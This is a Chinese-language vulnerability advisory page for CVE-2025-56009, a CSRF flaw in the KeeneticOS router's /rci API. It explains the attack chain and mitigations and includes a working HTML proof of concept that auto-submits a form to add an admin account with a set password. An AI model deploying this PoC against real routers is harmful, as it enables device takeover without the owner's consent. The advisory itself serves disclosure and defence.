IPBUF安全漏洞报告
English
CVE-2025-56009 CVSS 5.3 中危

CVE-2025-56009: KeeneticOS /rci API跨站请求伪造漏洞可导致设备接管

披露日期: 2025-10-23

漏洞信息

漏洞编号
CVE-2025-56009
漏洞类型
跨站请求伪造(CSRF)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
KeeneticOS

相关标签

CSRF跨站请求伪造KeeneticOS路由器漏洞设备接管权限提升Web安全CVE-2025-56009

漏洞概述

CVE-2025-56009是KeeneticOS路由器固件中的一个跨站请求伪造(CSRF)漏洞。该漏洞存在于设备的Web管理界面API端点'/rci'中,存在于4.3版本之前的KeeneticOS固件中。攻击者可以通过精心构造的恶意网页,诱导已登录的管理员用户访问,从而在不知情的情况下执行未经授权的操作。具体而言,攻击者可以利用此漏洞在路由器上添加具有完全权限的新用户账户,从而实现对设备的完全接管。由于该漏洞不需要任何身份验证凭证,且无需用户交互即可被触发,因此具有较高的实际威胁性。攻击者只需要诱骗管理员访问一个包含恶意请求的网页,即可利用其已认证的会话来执行特权操作。这使得攻击者能够绕过正常的认证流程,以管理员权限在设备上创建后门账户,从而持久化控制受影响的Keenetic路由器设备。

技术细节

KeeneticOS的Web管理接口存在CSRF漏洞,攻击者可利用/rci API端点执行未授权的管理操作。该API端点用于接收和执行配置命令,但缺少有效的CSRF令牌验证机制。当管理员用户访问攻击者控制的恶意网页时,页面中的JavaScript代码会自动向/rci端点发送POST请求。由于浏览器会自动携带目标域的Cookie信息,路由器会认为该请求来自已认证的管理员用户。攻击者通过构造特定的JSON payload,可以调用系统命令添加新用户。例如,发送包含user和password参数的命令来创建一个具有管理员权限的新账户。由于/rci端点直接执行底层系统命令,攻击者可以实现对路由器的完全控制。此漏洞的利用复杂度较低,攻击门槛不高,攻击者只需具备基本的Web攻击知识即可实施攻击。

攻击链分析

STEP 1
步骤1
攻击者创建一个恶意网页,包含自动提交的表单,指向目标KeeneticOS路由器的/rci API端点
STEP 2
步骤2
恶意页面中构造JSON payload,用于调用user add命令添加新用户账户
STEP 3
步骤3
攻击者通过钓鱼邮件、恶意链接等方式诱导已登录的管理员访问该恶意网页
STEP 4
步骤4
浏览器自动向/rci端点发送POST请求,并携带管理员的认证Cookie
STEP 5
步骤5
路由器验证Cookie后认为请求合法,执行攻击者指定的命令,创建具有管理员权限的新账户
STEP 6
步骤6
攻击者使用新创建的账户登录路由器管理界面,获得设备的完全控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CSRF PoC for CVE-2025-56009 - Add admin user --> <html> <body> <h2>CVE-2025-56009 CSRF Exploit</h2> <p>KeeneticOS < 4.3 /rci API CSRF to add admin user</p> <form action="http://[TARGET_IP]/rci" method="POST" id="exploit"> <input type="hidden" name="[\"user\", \"add\", \"testuser\"]" value="" /> <input type="hidden" name="[\"user\", \"testuser\", \"password\"]" value="AttackerPass123" /> <input type="hidden" name="[\"user\", \"testuser\", \"role\"]" value="admin" /> </form> <script> // Auto-submit the form when page loads document.getElementById('exploit').submit(); </script> <p>If you see this message, the exploit has been sent.</p> </body> </html>

影响范围

KeeneticOS < 4.3

防御指南

临时缓解措施
在官方修复发布之前,可采取以下临时缓解措施:1) 禁用路由器的远程Web管理功能,仅允许本地访问;2) 使用IP访问控制列表限制管理界面的访问来源;3) 定期检查系统用户账户,及时发现异常创建的管理员账户;4) 告诫管理员不要点击未知来源的链接;5) 使用浏览器安全插件防止自动提交表单。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表